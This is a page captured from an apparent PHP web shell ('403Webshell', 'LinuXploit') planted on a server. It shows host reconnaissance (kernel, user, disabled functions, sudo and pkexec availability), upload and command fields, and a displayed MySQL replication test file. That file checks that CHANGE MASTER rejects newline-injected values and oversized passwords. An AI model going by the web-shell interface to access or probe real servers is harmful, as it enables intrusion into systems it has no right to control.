403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.68.164.116
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_change_master.test
# ==== Purpose ====
#
# This test calls CHANGE MASTER in order to check if replication can
# restart from where SQL thread left, not from where I/O thread left.
#
# This file tests the case when master_info is stored in a file.
#
# ==== See also ====
#
# rpl_change_master_crash_safe.test

--source include/no_valgrind_without_big.inc
--source include/not_gtid_enabled.inc
--source include/not_group_replication_plugin.inc
--source include/have_binlog_format_mixed.inc
--source include/master-slave.inc
--source extra/rpl_tests/rpl_change_master.test


# BUG#11758581 - 50801: CHANGE MASTER ACCEPTS BOGUS VARIABLES
# We want to check if CHANGE MASTER values have newline characters.
--source include/rpl_reset.inc
connection slave;

###
### This should fail with error ER_WRONG_ARGUMENTS due to empty MASTER_HOST
### value.
###
--source include/stop_slave.inc
--replace_result $MASTER_MYPORT MASTER_PORT
--replace_column 2 ####
--error ER_WRONG_ARGUMENTS
eval CHANGE MASTER TO MASTER_USER='root', MASTER_HOST='', MASTER_PORT=$MASTER_MYPORT;

###
### This should fail with error ER_SYNTAX_ERROR due to newline
### in string values.
###
--replace_result $MASTER_MYPORT MASTER_PORT
--replace_column 2 ####
--error ER_WRONG_VALUE
eval CHANGE MASTER TO MASTER_USER='root', MASTER_HOST='127.0.0.1\n127.0.0.1', MASTER_PORT=$MASTER_MYPORT;

--replace_result $MASTER_MYPORT MASTER_PORT
--replace_column 2 ####
--error ER_WRONG_VALUE
eval CHANGE MASTER TO MASTER_USER='root\n', MASTER_HOST='master2.mycompany.com', MASTER_PORT=$MASTER_MYPORT, MASTER_USER='replication', MASTER_PASSWORD='bigs3cret', MASTER_LOG_FILE='master2-bin.001', MASTER_LOG_POS=4;

--replace_result $MASTER_MYPORT MASTER_PORT
--replace_column 2 ####
--error ER_WRONG_VALUE
eval CHANGE MASTER TO MASTER_USER='root', MASTER_HOST='master2.mycompany.com', MASTER_PORT=$MASTER_MYPORT, MASTER_USER='repli\ncation', MASTER_PASSWORD='bigs3cret', MASTER_LOG_FILE='master2-bin.001', MASTER_LOG_POS=4;

--replace_result $MASTER_MYPORT MASTER_PORT
--replace_column 2 ####
--error ER_WRONG_VALUE
eval CHANGE MASTER TO MASTER_USER='root', MASTER_HOST='master2.mycompany.com', MASTER_PORT=$MASTER_MYPORT, MASTER_USER='replication', MASTER_PASSWORD='bigs3cret', MASTER_LOG_FILE='master2-bin.\n001', MASTER_LOG_POS=4;

###
### This should be accepted.
###
--replace_result $MASTER_MYPORT MASTER_PORT
--replace_column 2 ####
eval CHANGE MASTER TO MASTER_USER='root', MASTER_HOST='127.0.0.1', MASTER_PORT=$MASTER_MYPORT;

--source include/start_slave.inc
--let $status_items= Master_Host
--source include/show_slave_status.inc
--source include/rpl_reset.inc

#
# Bug #11752299 REPLICATION SLAVE TRUNCATES MASTER_PASSWORD > 32 CHARACTERS
#

--let $passwd=012345678901234567890123456789ab
--let assert_cond=CHAR_LENGTH("$passwd") = 32
--let assert_text=Password length is 32
--source include/assert.inc

connection master;
SET SQL_LOG_BIN=0;
--eval GRANT REPLICATION SLAVE ON *.* TO [email protected] IDENTIFIED BY '$passwd'
SET SQL_LOG_BIN=1;

connection slave;
--source include/stop_slave.inc

# First, verify that 32 char maximum password works.
--eval CHANGE MASTER TO MASTER_HOST='127.0.0.1', master_user='rpl', master_password='$passwd'

--source include/start_slave_io.inc

--let $slave_param= Slave_IO_Running
--let $slave_param_value= Yes
--source include/check_slave_param.inc

# Now, prove 1 char oversized password is rejected
--error ER_CHANGE_MASTER_PASSWORD_LENGTH
--eval CHANGE MASTER TO MASTER_HOST='127.0.0.1', master_user='rpl', master_password='x$passwd'

# Cleanup Bug #11752299

connection master;
SET SQL_LOG_BIN=0;
DROP USER [email protected];
FLUSH PRIVILEGES;
SET SQL_LOG_BIN=1;

connection slave;
--source include/stop_slave_io.inc
CHANGE MASTER TO MASTER_USER = 'root', MASTER_PASSWORD = '';
--source include/start_slave.inc

--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit